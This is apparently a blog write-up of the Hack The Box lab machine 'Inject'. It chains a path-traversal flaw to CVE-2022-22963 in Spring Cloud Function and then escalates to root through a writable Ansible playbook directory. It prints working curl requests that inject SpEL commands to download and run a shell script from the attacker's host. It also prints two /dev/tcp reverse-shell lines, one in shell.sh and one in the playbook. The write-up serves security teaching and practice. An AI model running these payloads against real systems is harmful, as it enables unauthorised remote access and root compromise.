Hack The Box - Inject

July 07, 2023

Inject

Inject is a Linux machine hosting a cloud storage and collaboration app built with Java and the Spring framework. A route on the app has a query parameter susceptible to LFI and can lead to the discovery of dependencies for the app, one of which is vulnerable to RCE (CVE-2022-22963) and can be leveraged to get a shell. Once on the system, enumeration can lead to user credentials within an XML file allowing for lateral movement. System monitoring with pspy reveals that an automated task periodically running on the machine attempts to execute any Ansible playbooks within the /opt/automation/tasks directory. This can be exploited by writing a custom playbook containing a reverse shell command that when executed, leads to a root shell.

nmap scan:

nmap scan

Ports open:

  • 22 (SSH)
  • 8080 (HTTP)

A visit to the webpage on port 8080 showed a cloud app for storing and sharing files:

home page

The upload link at the top right of the page brought up a file upload form:

upload form

After uploading an image, a link was provided to view it:

uploaded link

The link redirected to the following route with a query parameter containing the uploaded image:

10.10.11.204:8080/show_image?img=test.png

show image

I intercepted the request with Burp Suite:

show image burp repeater

Then, I found an LFI vulnerability by passing in ../ as the value to the parameter which responded with some files on the server:

directory traversal LFI

I traversed a couple more directories and found a pom.xml file that contained some interesting app info (e.g. project metadata, configuration data, and dependencies). One of the dependencies being used to implement the cloud functionality, version 3.2.2 of Spring Cloud is vulnerable to remote code execution (CVE-2022-22963):

pom.xml

CVE-2022-22963 is a vulnerability that allows an attacker to execute arbitrary code on a server running Spring Cloud by sending a specially crafted HTTP header. The vulnerability exists within the spring.cloud.function.routing-expression header which uses Spring Expression Language (SpEL) as a routing expression to determine which function should be used for a given request. In susceptible versions of Spring Cloud, this header isn't properly validated which allows for the injection of commands on the host machine.

The article here provides more info on CVE-2022-22963 and also includes a PoC.

So, I took the following steps to catch a shell:

Created the following shell.sh script:

#!/bin/bash

/bin/sh -i >& /dev/tcp/10.10.14.25/9001 0>&1

Started a python http server:

python http server

Also, started a netcat listener:

netcat

Sent the following POST request with curl which downloaded the shell script onto the target machine in the /tmp directory:

curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("wget http://10.10.14.25:8000/shell.sh -P /tmp")' -d 'data' http://10.10.11.204:8080/functionRouter

Once the script was on the target, I sent another request to make it executable:

curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/shell.sh")' -d 'data' http://10.10.11.204:8080/functionRouter

The final request executed the script:

curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("/tmp/shell.sh")' -d 'data' http://10.10.11.204:8080/functionRouter

nc caught a shell as the user frank:

shell as frank

Once I was on the system, I found another user, phil. This user's account contained the user flag, but I couldn't read it since frank didn't have permission:

/home users

I did some further enumeration and found credentials for phil within /home/frank/.m2/settings.xml:

phil password

This allowed me to switch to the phil user's account:

su - phil

user flag

To look for a potential path for privilege escalation, I used pspy to monitor system processes.

I noticed a process using ansible-parallel to execute any YAML files within the /opt/automation/tasks directory that ran every two minutes and executed as root:

2023/07/07 05:56:01 CMD: UID=0     PID=2597   | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml 

Ansible is a tool to automate tasks (which are declared in YAML files called playbooks) and ansible-parallel allows for the execution of multiple Ansible playbooks in parallel.

So, I checked the permissions of /opt/automation/tasks which showed that members of the staff group had read, write, and execute permissions on files within the directory:

/opt/automation/tasks

phil was a member of the staff group:

id

To get a root shell, all I needed to do was write a custom playbook that contained a reverse shell command.

I started a Netcat listener:

netcat

Then, to write a file with nano I needed a stable shell, so I ran the following commands:

python3 -c 'import pty; pty.spawn("/bin/bash")'

export TERM=xterm

Ctrl + Z

stty raw -echo; fg

Next, within /opt/automation/tasks, I wrote a custom playbook that uses the ansible.builtin.shell module to execute the command:

new_playbook.yml:

- hosts: localhost
  tasks:
    - name: Execute command
      ansible.builtin.shell:
        cmd: "bash -c 'bash -i >& /dev/tcp/10.10.14.25/9001 0>&1'"

list playbooks

A few moments later, the task ran and sent a root shell back to my machine:

root


CTF Writeups | InfoSec Topics

Written by Mike Garrity

Email RSS